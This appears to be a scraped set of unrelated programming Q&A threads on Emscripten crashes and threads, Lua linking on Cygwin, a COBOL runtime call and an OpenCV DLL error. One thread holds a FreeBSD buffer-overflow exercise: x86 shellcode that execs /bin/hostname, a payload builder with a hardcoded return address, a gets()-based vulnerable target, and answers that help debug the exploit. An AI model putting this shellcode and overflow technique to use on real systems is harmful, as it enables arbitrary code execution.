I'm looking for something gdb --core equivalent on webassembly.
Take this example:
//crash.cpp
#include <iostream>
int main() {
std::cout << "crashing soon..." << std::endl;
int *a = 0;
*a = 1;
}
I compile this with:
$ em++ -g4 crash.cpp -o crash.html --source-map-base http://localhost:8080/
And start the server:
$ emrun --no_browser --port 8080 crash.html
So how can I get a stack trace of this core dump/crash? The console on both chrome/firefox when visiting page just shows a js stacktrace and that won't help me. Looking at Sources => Call stack on chrome console just shows "Not paused", after the crash.
This is on debian 11, emscripten 2.0.12~dfsg-2, clang-11.
The reason is that what you're doing is not an error in WebAssembly. Like on many embedded platforms, writing to or reading from zero pointer is a perfectly valid operation in WebAssembly memory model.
However, Emscripten tries to help you catch this as for C/C++ it's a common mistake, so what it does instead is checks the value at the address zero after the program has finished execution and throws a helpful assertion if that value happened to be overwritten. For this reason you're getting a stacktrace with only JavaScript bits in it - because the check is done by JavaScript when Wasm stack has already been exited.
If you tried a different operation that does cause immediate abort, for example, assert(false), then you would see WebAssembly and/or C/C++ on the stack as expected.
Related
I'd like to compile the following C++ snippet using threads with Emscripten
#include <cstdio>
#include <thread>
void foo() { puts("foo\n"); }
void bar(int x) { printf("bar %d\n", x); }
int main(int argc, char* argv[]) {
std::thread first(foo);
std::thread second(bar, 123);
puts("main, foo and bar now execute concurrently...\n");
first.join();
second.join();
puts("foo and bar completed.\n");
}
To get Emscripten to use threads I pass the "-s USE_PTHREADS=1" option during compilation and linking
target_compile_options(
Emscripten PRIVATE -v "SHELL:-s USE_PTHREADS=1 -s PTHREAD_POOL_SIZE=8")
target_link_options(
Emscripten PRIVATE -v --emrun
"SHELL:-s MINIFY_HTML=0 -s USE_PTHREADS=1 -s PTHREAD_POOL_SIZE=8")
I also change the suffix of the compilation output to .html which leads to Emscripten directly producing a .html page
set(CMAKE_EXECUTABLE_SUFFIX ".html")
So far so good. The snippet compiles as expected and I can see the toolchain passing some pthread arguments on the command line.
In order to test the output I fire up a webserver with python and open the .html page with Firefox. The Firefox option javascript.options.shared_memory was enabled by default in my version (78.0.1) so I thought that my code should work out of the box. Sadly this isn't the case and I'm getting Uncaught ReferenceError: SharedArrayBuffer is not defined exceptions thrown at me through the console.
Testing the code with node works though:
$ node --experimental-wasm-threads --experimental-wasm-bulk-memory Emscripten.js
main, foo and bar now execute concurrently...
foo
bar 123
foo and bar completed.
/edit
Ok, seems like SharedArrayBuffer still undergoes some standardization process...
https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/SharedArrayBuffer/Planned_changes
the Shell code print the hostname(bin/hostname). but when i execute the code its shows me the the path in reverse order but not printing the HOSTNAME.
I am actually doing the buffer over flow .
I am using freebsd intel machine.
this is my code
can you figure out please where is the error
//Prog 1
#include<stdio.h>
main()
{
char shellcode[]= “\x31\xc0\x50\x68\x6e\x61\x6d\x65\x68\x68\x6f\x73\x74\x68\x62
\x69\x6e\x2f\x68\x2f\x2f\x2f\x2f\x89\xe3\x50\x54\x53\xb0\x3b
\x50\xcd\x80”;
int i;
char buf[108];
i=strlen(shellcode);
printf(“%d”,i);
strcpy(buf,shellcode);
for(i=36;i<104:i++)
{
buf[i]='b';
}
buf[104]='\x2c';
buf[105]='\xfa';
buf[106]='\xbf';
buf[107]='\xbf';
printf(“%s”,buf);
return 0;
}
The Above program is injected into below program ...... so it creates the bufferover flow and print the hostname
#include <stdio.h>
int
main (int argc, char **argv){
char buf[100];
printf("Please Enter your Name");
fflush(stdout);
gets(buf);
printf("Hello %s \n",buf);
}
void notcalled(void){
//puts("cccc");
}
you are defining int I; and using i
the for is using a :i++, instead of a ;i++
strncpy() is missing the size_t param too
There is no buffer overflow in this sample code. You are simply printing the shell code, instead of executing it.
The code as posted doesn't even compile, due to things like quotes, i vs I problem, : instead of ; and strncpy needing 3 arguments (possibly more errors).
The shell code may be correct for freebsd, I can't check that. It definitely isn't correct for linux, though.
Apparently you are still not triggering code execution, even though now I see where you have your buffer overflow. Note however that overflowing the buf variable is trying to overwrite the return address for main, so it should print the text in any case. Also, the compiler may have generated a different stack layout than what you expect, or maybe your stack is not executable (although you should get a segfault in this case).
Use a debugger to single step through the code, beginning with the "return" statement in main and see what is happening. You will soon reach a RET instruction which should pop the starting address of your shellcode into the instruction pointer, effectively jumping to it. I suspect that is not happening for some reason.
I have the following trivial Lua program which I copied from the book Programming In Lua
#include <stdio.h>
#include <lua.h>
#include <lauxlib.h>
#include <lualib.h>
int main (void)
{
char buff[256];
int error;
lua_State *L = luaL_newstate(); /* opens Lua */
luaL_openlibs(L); /* opens the standard libraries */
while (fgets(buff, sizeof(buff), stdin) != NULL)
{
error = luaL_loadbuffer(L, buff, strlen(buff), "line") ||
lua_pcall(L, 0, 0, 0);
if (error)
{
fprintf(stderr, "%s", lua_tostring(L, -1));
lua_pop(L, 1); /* pop error message from the stack */
}
}
lua_close(L);
return 0;
}
my environment is cywin
my make file looks like this:
CC=gcc
INCLUDE='-I/home/xyz/c_drive/Program Files/Lua/5.1/include'
LINKFLAGS='-L/home/xyz/c_drive/Program Files/Lua/5.1/lib' -llua51
li.o:li.c
$(CC) $(INCLUDE) -c li.c
main:li.o
$(CC) -o main $(LINKFLAGS) li.o
clean:
rm *.o
rm main
My /home/xyz/c_drive/Program Files/Lua/5.1/lib directory contains lua5.1.dll lua5.1.lib lua51.dll and lua51.lib
Trying to build my main target I am getting the following errors:
li.o:li.c:(.text+0x35): undefined reference to `_luaL_newstate'
li.o:li.c:(.text+0x49): undefined reference to `_luaL_openlibs'
li.o:li.c:(.text+0xaf): undefined reference to `_luaL_loadbuffer'
li.o:li.c:(.text+0xd9): undefined reference to `_lua_pcall'
li.o:li.c:(.text+0x120): undefined reference to `_lua_tolstring'
li.o:li.c:(.text+0x154): undefined reference to `_lua_settop'
li.o:li.c:(.text+0x167): undefined reference to `_lua_close'
Any ideas about what I might be doing wrong here?
The problem is that you have named the libraries on the link command line before the object files that require them. The linker loads modules from left to right on the command line. At the point on the line where you name -llua51, no undefined symbols that could be satisfied by that library are known. Then you name li.o, which does have unknown symbols.
Some Unix-like environments don't treat this as an error because part of the link process is deferred to the program load when reference to .so files are satisfied. But Cygwin, MinGW, and Windows in general must treat this as an error because DLLs work quite differently from .so files.
The solution is to put -llua51 after all the .o files on your link line.
Edit: Incidentally, it appears you are linking against the Lua for Windows distribution, but building with GCC under Cygwin. You will want to use Dependency Walker to make sure that your program does not depend on the Cygwin runtime, and that it does depend on the same C runtime as the lua51.dll from Lua for Windows. IIRC, that will be the runtime for the previous version of Visual Studio. It is possible to make GCC link against that, but you will need to be using the MinGW port (which you can use from Cygwin), and link against a couple of specific libraries to get that version. I'm away from my usual PC, or I'd quote an exact link line. (I believe you need -lmoldname -lmsvcr80 or something like that, as the last items on the link line.)
It will cause mysterious and very hard to diagnose problems if more than one C runtime library is in use. The easy answer is to use the same one as your preferred Lua DLL. Another alternative is that the Lua Binaries project has pre-compiled Lua DLLs for a wide array of C toolchains on Windows. If you need a Lua application that understands the Cygwin environment, you will want one that is built by GCC for Cygwin and not the Lua for Windows flavor. Lua Binaries will be your friend, or you can build Lua your self from source.
The names in the Lua API do not have those leading underscores. Try compiling with -fno-leading-underscore.
I'm still learning how to program but I have a simple question. I have the following code for running an executable COBOL program through C++, but I am getting COBOL errors: 251 and 410
#include <iostream>
#include <windows.h>
using namespace std;
int main(){
system("C:\\rmcobol\\runcobol.exe SOLOCAJA.COB c=windows.cfg L=WOWRT.DLL");
cout << "\n";
system("pause");
return 0;
}
I assume there must be a very simple reason for this, but I am clueless so far. Any help would be highly appreciated.
Error 410 is a "configuration file not found" error based on Apendix A of the user guide. Are you sure your windows.cfg file is in the directory you're running your code in?
Failing that, error 251 states "Incorrect runtime command" and all the samples I can find have an uppercase C. So maybe change your C program to use to:
system("C:\\rmcobol\\runcobol.exe SOLOCAJA.COB C=WINDOWS.CFG L=WOWRT.DLL");
and see if that fixes it (a long shot, I know, but I've seen stranger things than that).
Based on update:
I tried changing the c to a C on the C=WINDOWS.CFG, ran it in C++ and directly on the Command Line, no change. I am still looking into the reasons behind this, and I read through tek-tips.com/viewthread.cfm?qid=1119251&page=5 but I couldn't use any of that info. Any extra tips would be gold at this point. THANKS!
A couple of questions:
Has it ever worked in this environment?
Is it failing on both cmdline and within C (just want to clarify)?
Does windows.cfg actually exist in the current directory when you run it?
Are you running it in a directory with spaces (like My Documents)?
Other than that, maybe post the windows.cfg file, though the error seems pretty explicit that it's config file not found rather than error in config file.
Why I try to run the following OpenCV program, it shows the following error :
ERROR:
test_1.exe - Application Error
The application failed to initialize properly (0x80000003).
Click on OK to terminate the application.
CODE:
#include "cv.h"
#include "highgui.h"
int main()
{
IplImage *img = cvLoadImage("C:\\face.bmp");
cvSetImageROI(img, cvRect(100,100, 100, 100));
cvAddS(img, cvScalar(50), img);
cvResetImageROI(img);
cvShowImage("Test", img);
cvWaitKey(0);
return 0;
}
When i press F5(im using vs2008express), the program encounters a break point...i have attached a picture...dont know, whether, it will help or not.
Error Snapshot Link
It is not that, only this program is producing this error, but also any kind of image manipulation funciton containing (OpenCV)program is resulting in this sitution.
Such as : cvSmooth
one last thing, it there any dedicated OpenCV forum or sth like that?
I am an administrator.So, yes, ive the permission.
a version mismatch.
sorry, i didn't get it?Version mismatch with what?
But, i have found the error using dependency walker.
Warning: At least one module has an unresolved import due to a missing export
function in a delay-load dependent module.
and also found that, it is a common problem, and found some info in the FAQ of DW...
Why am I seeing a lot of applications where MPR.DLL shows up in red under
SHLWAPI.DLL because it is missing a function named WNetRestoreConnectionA?
I also get a "Warning: At least one module has an unresolved import due to
a missing export function in a delay-load dependent module" message.
Function name : WNetRestoreConnectionA
But there is no guideline about how to solve it. Though, they say, it is not a problem.
i googled a little and found a suggestion.It says,
Turn off your compilers setting to assume you are programming for Win9x.
(I just lost which setting but it is not that difficult, use a #define...)
But i have no idea, how to do that in Visual Studio 2008 express.
Any suggestion how to solve it...
This usually indicates a problem with a dll; either you don't have permission, or a version is mismatched. Try running as Administrator to see if it is a permissions problem. If that doesn't help, try using the Dependency Walker.